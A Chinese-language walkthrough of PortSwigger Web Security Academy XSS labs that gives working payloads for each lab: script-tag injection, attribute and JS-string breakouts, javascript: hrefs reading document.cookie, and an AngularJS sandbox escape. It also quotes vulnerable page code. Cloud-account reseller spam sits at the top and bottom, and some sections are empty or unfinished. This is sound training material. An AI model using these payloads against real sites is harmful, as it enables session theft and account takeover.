portswigger 靶场之 XSS 篇(上)

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

APPRENTICE

All labs | Web Security Academy (portswigger.net)

1. 将 XSS 反射到 HTML 上下文中,没有编码

XSS payload,自是无需多言

<script>alert(1)</script>

2. 将 XSS 存储到 HTML 上下文中,没有任何编码

存储型的 XSS 在留言区

3. 文档中的 DOM XSS.使用 source location.search 编写接收器

在搜索查询功能中有基于 DOM 的跨站点脚本漏洞

在搜索框输入"第三个",可以发现,输入的词被放到了 JavaScript 代码中的 img 标签的 src 属性中,插入 XSS 代码的话需要先闭合,使用"> `,分别闭合 img 标签和 src 属性

// 在页面输入"第三个"
<img src="/resources/images/tracker.gif?searchTerms=第三个> 

// 插入 XSS 代码第一种方法
"><script>alert(3)</script>
<img src="/resources/images/tracker.gif?searchTerms="><script>alert(3)</script>
"> 

// 插入 XSS 代码第二种方法
// 语法:onload,事件在页面载入完成后立即触发,onload="JavaScriptCode"
1" onload="alert(3)
<img src="/resources/images/tracker.gif?searchTerms=1" onload="alert(3)"> 
// 源代码
function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}

搜索框输入“第三个”,F12 查看情况

插入 XSS 代码第一种方法

插入 XSS 代码第二种方法

4. 使用 source location.search in innerHTML sink 中的 DOM XSS。

// 在页面输入"第四个"
<span id="searchMessage">第四个</span>

// 插入 XSS 代码第一种方法
// 语法:onload,当页面载入完毕后执行 Javascript 代码,该事件不可取消
<svg onload=alert(4)>
<span id="searchMessage"><svg onload="alert(4)"></svg></span>

// 插入 XSS 代码第二种方法
// 语法:onerror,当资源加载失败或无法使用时,触发onerror事件,因为前面的 src 为空,那意味着肯定会触发事件
<img src='' onerror="alert(4)">

搜索框输入“第四个”,F12 查看情况

插入 XSS 代码第一种方法

插入 XSS 代码第二种方法

5. 使用 location.search source 在 jQuery 锚点 href 属性接收器中的 DOM XSS

Href 不仅可以跳转路径,也可以放入 JS 代码

https://0a0000b103823255c2ce2cd0003e00a5.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie)

在 a 标签中

在 a 标签中注入 XSS 代码

6. 在 jQuery 选择器中使用 hashchange 事件的 DOM 型 XSS

HTML 内联框架元素 (<iframe>) ,它能够将另一个 HTML 页面嵌入到当前页面中。

https://0a99009f0458a280c12dc1a500730025.web-security-academy.net/#<img src=1 onerror=alert(1)>

// 官方给的答案:
<iframe src="https://0a99009f0458a280c12dc1a500730025.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print(6)>'"></iframe>
// 源代码
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});

直接在网址注入

服务器中修改 body

7. 带尖括号编码的反射型 XSS

尖括号被编码,但是引号没有,在搜索框输入内容后,发现输入的内容展示在了 input 标签的 value 属性中。

onmouseover 属性在鼠标指针移至元素之上时触发,几乎可使用于所有 HTML 元素,也就不限于搜索框input

内容在 input 标签的 value 属性中

输入 "onmouseover="alert(7)

8. 将 XSS 存储到带有双引号 HTML 编码的锚点 href 属性中

评论中输入的内容会成为 a 标签 herf 属性的值

输入 123 查看出于什么位置

javascript:alert(8)

9. 将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中

输入ABC 发现是出现在了 script 标签中,尝试闭合弹出

var searchTerms = 'ABC';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');

构造 Payload';alert(9);//

输入 123 查看出于什么位置

';alert(9);//

PRACTITIONER

10. 文档中的 DOM XSS.使用源位置编写接收器.在选择元素内搜索

注入&storeId=<script>alert()</script>

var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
    document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
    if(stores[i] === store) {
        continue;
    }
    document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

输入 ABC 查看出于什么位置

11. AngularJS 表达式中的 DOM XSS,带有尖括号和双引号HTML 编码

Angular 是一个前端框架,{{ ... }} 里头其实就是一个模板表达式,Angular 会对其进行求值并转化为字符串输出。可以放入 JavaScript 脚本

[PayloadsAllTheThings-Github](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/XSS in Angular.md)

注入:{{constructor.constructor('alert(1)')()}}

Constructor 是一个构造函数

12. 反射式 DOM XSS

13. 存储型 XSS

replace(),如果第一个参数是字符串,则仅替换第一个匹配项

function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}
// 源代码中,通过 replace() 函数,替换第一个匹配项,也就是<>
// &lt;代表小于号(<);  &gt;代表大于号(>)  

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6